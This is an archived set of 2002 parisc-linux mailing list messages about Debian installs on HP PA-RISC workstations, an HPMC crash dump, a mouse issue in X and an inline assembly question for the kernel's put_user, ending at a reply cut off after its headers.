	id DA0D94829; Tue, 24 Sep 2002 22:05:00 -0600 (MDT)
In-Reply-To: Message from Dan McLaughlin <DMcl@amcol.com> 
   of "Tue, 24 Sep 2002 10:42:34 CDT." <466EEDE4653DD41195EA00508BAC968502198F4D@AMCHIEXCH01> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16283

Dan McLaughlin wrote:
> Trying to install debian 3.0 on a c110 w/ 2 scsi hd 2.0 gig and 512megs of
> ram. When I run apt-get I get io error

Can you capture console output?
Is apt-get trying to read from CD that's not inserted?
Is the 2GB HD known to be good?

grant


From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yasholomew Yashinski <yashy@mail.yashy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: B1000
Date: Wed, 25 Sep 2002 00:46:54 -0400 (EDT)
Lines: 305
Approved: news@gmane.org
Message-ID: <20020925000736.V54476-100000@mail.yashy.com>
References: <20020925034329.D56EA4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621766 14734 80.91.229.3 (22 Nov 2014 02:02:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 22:46:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yashy.com (mail.yashy.com [66.11.170.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DC1F4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 22:46:56 -0600 (MDT)
Original-Received: from yashy (helo=localhost)
	by mail.yashy.com with local-esmtp (Exim 4.10)
	id 17u44c-000EBq-00
	for parisc-linux@lists.parisc-linux.org; Wed, 25 Sep 2002 00:46:54 -0400
In-Reply-To: <20020925034329.D56EA4829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16284

On Tue, 24 Sep 2002, Grant Grundler wrote:

> >  I hope all is well. I see that Debian 3 is available now for hppa, so I
> > recently burnt it to try on my B1000. I went to install it tonight,
> > however it's rebooting with:
> >
> > High Priority Machine Check (HPMC): Code=1 regs=102f3080 (Addr=000000000)
> >
> > and on the LCD: FLT CBFB4
>
> FLT CBFB4 is HPMC. Odd that it dies with an HPMC.

 If I boot off the disk (0.9.3 with dist-upgrade, and kernel upgrade), it
seems to work okay, I get to:

 Starting periodic command scheduler: cron.
and then the cursor just flashes. (Tux is in the top left)
At this point the LCD states "Linux 2.4.1932" which is correct.
I use serial console no problem at this stage.

 When I try to boot off the CD I just burnt, it dies with the error
message I placed above. The image I burnt was
debian-30r0-hppa-binary-1.iso from the 2nd ftp site, I just took a guess
which is the proper one to use, as you'll read in my comments below.

> Can you send "ser pim" output to parisc-linux mailing list?
> (hint: setup serial console to capture that)

This is long. I have added addtional comments below.

Main Menu: Enter command > ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =
  Tue Sep  24 19:22:19 GMT 2002    (20:02:09:24:19:22:19)

HPMC Chassis Codes = 2cbf0  2500b  2cbfb

General Registers 0 - 31
00-03   0000000000000000  0000000000029a90  0000000000000008
00000000401d3000
04-07   0000000000000000  0000000000000000  0000000000000007
0000000000000001
08-11   0000000000000010  0000000000000001  00000000faf005d0
0000000000000010
12-15   0000000000029a90  0000000000000000  0000000000029a90
0000000000000000
16-19   000000000002b010  0000000000029a90  0000000000029a90
00000000401d3000
20-23   0000000000000000  0000000000000000  000000000000001c
0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000
0000000000029a90
28-31   0000000000000008  0000000000000000  00000000faf00700
0000000000000000

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000
0000000000000000
08-11   0000000000000222  0000000000000000  00000000000000c0
000000000000001e
12-15   0000000000000000  0000000000000000  0000000000105000
00000000ffffffff
16-19   0000000b8cba9370  0000000000000111  000000000001555f
000000000e661200
20-23   00000000100403ec  40000000001d3000  00000000000cff0f
0000000000000000
24-27   000000000030b000  000000000f29c000  00000000ffffffff
00000000ffffffff
28-31   00000000ffffffff  00000000ffffffff  000000001f308000
00000000103a0000
Space Registers 0 - 7

00-03   00000111          00000111          00000000          00000111
04-07   00000111          00000111          00000111          00000111

<Press any key to continue (q to quit)>

IIA Space                    = 0x0000000000000111
IIA Offset                   = 0x00000000000151b3
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x003010bb
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00031800
System Responder Address     = 0xfffffffffed10200
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000
0000000000000000
04-07   1030381000000001  0000000110149d78  000000020028a286
0000000000000000
08-11   1030a02000000002  ffffffff0000000a  0000000000000000
103aed9f00000000
12-15   0000000000000000  0000000010139d8c  0000000010303810
1030081010300810
16-19   1f4a50001039c000  0000000000000002  0000000010300810
1039b8101f4a5000
20-23   1039c00000000000  0000000200000000  0000000000000000
0000000000000000
24-27   0000080000000000  0000001e00000000  103b4d64102b9364
1f4a5005102b9474
28-31   3031323334353637  3839616210139f94  6768696a6b6c6d6e
6f70717273747576

<Press any key to continue (q to quit)>


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041000000000
Available Memory             = 0x0000000010000000
CPU Diagnose Register 2      = 0x0203000000000004
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8080000000000000
SADD LOG                     = 0x010008a100000001
Read Short LOG               = 0xc1a0f0f0f0400804
ERROR_STATUS                 = 0x0000000000000010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp =
  Tue Sep  24 19:22:19 GMT 2002    (20:02:09:24:19:22:19)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304
bytes:

A Data Miss Timeout occurred while CPU 0 was
requesting information.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not
log
any additional information about the HPMC.

<Press any key to continue (q to quit)>

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000
0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000
0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000
0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000
0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000
0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000
0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000
0000000000000000

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000
0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000
0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000
0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000
0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000
0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000
0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000
0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


<Press any key to continue (q to quit)>

Memory Error Log Information:

Timestamp =
  Tue Sep  24 19:22:19 GMT 2002    (20:02:09:24:19:22:19)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp =
  Tue Sep  24 19:22:19 GMT 2002    (20:02:09:24:19:22:19)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------
Main Menu: Enter command >

> And can you try one of the more recent net install ISO's from ESIEE?
> See www.parisc-linux.org front page for links to ESIEE downloads.

 Sure, I'll let you know.

 Just a few comments on the two websites.

http://pateam.esiee.fr/ could use an English editor:
 "This website is run by a"  # ran is past tense.
 "Please forgive us if either.. or the server has some troubles" # the
users shouldn't have to apologize to the authors.
 "see the announcement"
 "If you have any questions, suggestions or comments, feel free to contact
us at any time"
 "on the project, the team, and.."
 "Latest News"

http://www.parisc-linux.org
 There are three mirrors containing 600+ MB ISOs. The first link is
broken.
 What is the difference between debian-30r0-hppa-binary-1.iso and
debian-30r0-hppa-binary-1_NONUS.iso on the second ftp site? What are the
other files? (A README in that directory with a brief description of each
would be great).
 When the third ftp site works (only a few times in the past 48 hours,
when I've tried), it contains different files than the others. A README
file would be great here as well.

> >  as soon as it hits Init/BusyBox. Am I to assume the A4977a Vis EG-PCI is
> > still unsupported? If so, any idea when it will be supported? If it is now
> > supported, any idea what needs to change on my end?
>
> Vis-EG PCI is supported and working as a Frame buffer.
> That's known to work on B180/C200/B2600/C3000 and probably a few others.

 Where is this documented? All I could find was the 0.9.3 release
information saying it isn't working yet.

 Thanks for all your efforts in this project. I can't wait to use my
framebuffer on this machine finally. HP/UX is unfortunately too expensive
for a home user, at least from what documentation I could find.

 Signet,

--
Yashy



From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: B1000
Date: Wed, 25 Sep 2002 11:09:33 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <81AAACAB-D066-11D6-9CB4-0030656F07A2@esiee.fr>
References: <20020925000736.V54476-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v546)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621767 14735 80.91.229.3 (22 Nov 2014 02:02:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yasholomew Yashinski <yashy@mail.yashy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 03:09:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24DAE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 03:09:47 -0600 (MDT)
Original-Received: from esiee.fr ([213.245.40.23]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020925090943.THUC24360.viefep13-int.chello.at@esiee.fr>;
          Wed, 25 Sep 2002 11:09:43 +0200
In-Reply-To: <20020925000736.V54476-100000@mail.yashy.com>
X-Mailer: Apple Mail (2.546)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16285

Le mercredi, 25 sep 2002, =E0 06:46 Europe/Paris, Yasholomew Yashinski a=20=

=E9crit :

>  Just a few comments on the two websites.
>
> http://pateam.esiee.fr/ could use an English editor:
>  "This website is run by a"  # ran is past tense.
>  "Please forgive us if either.. or the server has some troubles" # the
> users shouldn't have to apologize to the authors.
>  "see the announcement"
>  "If you have any questions, suggestions or comments, feel free to=20
> contact
> us at any time"
>  "on the project, the team, and.."
>  "Latest News"
Welle, thanq yoo fore yoore elp. I wil trye tou corecte som errorz !
Dide yoo noticed da '.fr' at thee ende off da naime ? ;^)
Wee are damne franch pipol, we dont now Inglish ! ;o]

T.V. - The guy who now handle the pateam website maintaining  =3D)

/me ducks !


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/
for any b4d english comment, mail us at=20
mailto:puffin@esiee.fr?subject=3Db4d_3ngl1sh=



From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Wed, 25 Sep 2002 12:05:19 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <3D8F01140000099E@ocpmta2.be.tiscali.com>
References: <3D8E3A0B.5090008@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621767 14736 80.91.229.3 (22 Nov 2014 02:02:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:47 +0000 (UTC)
Cc: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bwheadley@earthlink.net>,
	"Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 04:05:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 428074829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 04:05:28 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 25 Sep 2002 12:05:19 +0200
In-Reply-To: <3D8E3A0B.5090008@earthlink.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16286

Hi Brian,

>-- Original Message --
>Date: Sun, 22 Sep 2002 16:45:47 -0500
>From: "Bryan W. Headley" <bwheadley@earthlink.net>
>To: Joel Soete <joel.soete@freebel.net>
>CC: Derek Engelhaupt <derekengelhaupt@rocketmail.com>, 
> parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
>
>
>Joel Soete wrote:
>
>>> I assume you are running the gpm mouse daemon as well. If you tell X

>>> to use the gpm mouse (/dev/gpmdata), you should be okay.
>> 
>> 
>> Hmm, long time ago I test this (because that was like this I configure
>
>> my i386 boxe) but it did not work. Does it work now on parisc?
>
>Last time I checked, it did.

Sorry, the last test I do on my b180 and gpmdata as mouse driver does not
work :)
(xfree86-4.1)

Hmm I just notice this funny behaviour:
I start gdm, I login -> the cursor work normaly :)
I quit my X session -> the cursor doesn't work any more ...
I would like to see at the console if I can see some error messages, so I
swich to sti mode (CTRL+ALT f1)... ok that works. No error messages, so I
can come back to gdm login screen (CTRL+ALT f7), oh the cursor move again
normaly ?

Any idea?

Thanks in advance,
    Joel

PS: kernel 2.4.18-pa61 + apt-get dist_upgrade this 2002-09-24



From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen J de Vries <paulhill20@juno.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hardware newbie question...
Date: Wed, 25 Sep 2002 09:09:14 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20020925.090915.-178139.3.paulhill20@juno.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621767 14737 80.91.229.3 (22 Nov 2014 02:02:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 07:09:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from m8.jersey.juno.com (m8.jersey.juno.com [64.136.22.71])
	by dsl2.external.hp.com (Postfix) with SMTP id 2B41F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 07:09:05 -0600 (MDT)
Original-Received: from cookie.juno.com by cookie.juno.com for <"ZNAiGyJ3RSB6AAUIl7fDkRFVx+0NlSNyZgQYA+GKLA2MeZZhd+0T/g==">
Original-Received: (from paulhill20@juno.com) 
 by m8.jersey.juno.com (jqueuemail) id HDJ9T53J; Wed, 25 Sep 2002 09:08:40 EDT
X-Mailer: Juno 5.0.33
X-Juno-Line-Breaks: 0-3,5-6,12-15
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16287

I have a HP 712 that I'd purchased recently.

My question is:

Can I use a PC monitor, keyboard, and mouse to boot the thing up?  If so,
does the monitor have to be a multisync or something special?

In addition, HP-UX is on the hard drive but is locked down.  I was
thinking of buying an external CD drive and attempting to load debian
0.93.  Can anyone recommend a place to buy the CD drive that they have
dealt with?  I also have a network so I could attempt a network install
but I am not sure what minimum requirements I'd need to fulfill for that.
 Is my approach the right one?

Thanks for the advice...

Stephen de Vries


From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] followup: Inline Assembly Help request
Date: Wed, 25 Sep 2002 15:25:13 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <3D8F011400000B05@ocpmta2.be.tiscali.com>
References: <200209091727.g89HRZF3021659@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621767 14739 80.91.229.3 (22 Nov 2014 02:02:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	"Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 07:25:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 348704829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 07:25:36 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 25 Sep 2002 15:25:13 +0200
In-Reply-To: <200209091727.g89HRZF3021659@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16288

Hi all,

Following my investigation to fix the problem of 64bits integer transfer
between kernel and user space (put_user in uaccess.h), I still had a problem:

how to access of the two int (32bit) parts of a long long?

In mips sources I found this interresting stuff:
__put_user_asm_ll32
...
    1:    sw    %1, %2
    2:    sw    %D1, %3
....

which would correspond to what I need but it is not available for hppa.

So I do something like:
...
#define STD_USER(x, ptr)                      \
({                                            \
    unsigned int xh = (unsigned int)(x>>32),  \
                 xl = (unsigned int) (x);     \
    __put_user_asm_64(xh, xl, ptr);           \
})
...

and so 
...
#define __put_user_asm_64(xh, xl, ptr)                      \
        __asm__ __volatile__ (                              \
                "\n1:\tstw\t%2,0(%%sr3,%1)\n"               \
                "2:\tstw\t%3,4(%%sr3,%1)\n"                 \
                "3:\n"                                      \
                "\t.section __ex_table,\"a\"\n"             \
                 "\t.word\t1b\n"                            \
                 "\t.word\t(3b-1b)+1\n"                     \
                 "\t.word\t2b\n"                            \
                 "\t.word\t(3b-2b)+1\n"                     \
                 "\t.previous"                              \
                : "=r"(__pu_err)                            \
                : "r"(ptr), "r"(xh), "r"(xl), "0"(__pu_err))
...

which has a border effect:
tty_ioctl.c: In function `get_termio':
tty_ioctl.c:175: warning: right shift count >= width of type
tty_ioctl.c:175: warning: right shift count >= width of type
tty_ioctl.c:175: warning: right shift count >= width of type
tty_ioctl.c:175: warning: right shift count >= width of type
tty_ioctl.c:175: warning: right shift count >= width of type

Is there some other means somewhere else?

Thanks in advance,
    Joel



From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware newbie question...
Date: Wed, 25 Sep 2002 15:34:07 +0200
Organization: ESIEE
Lines: 45
Approved: news@gmane.org
Message-ID: <3D91BB4F.5090205@esiee.fr>
References: <20020925.090915.-178139.3.paulhill20@juno.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621768 14741 80.91.229.3 (22 Nov 2014 02:02:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephen J de Vries <paulhill20@juno.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 07:36:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5736A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 07:36:30 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id DDE1B49C21; Wed, 25 Sep 2002 15:36:26 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id 8757949C15; Wed, 25 Sep 2002 15:36:25 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
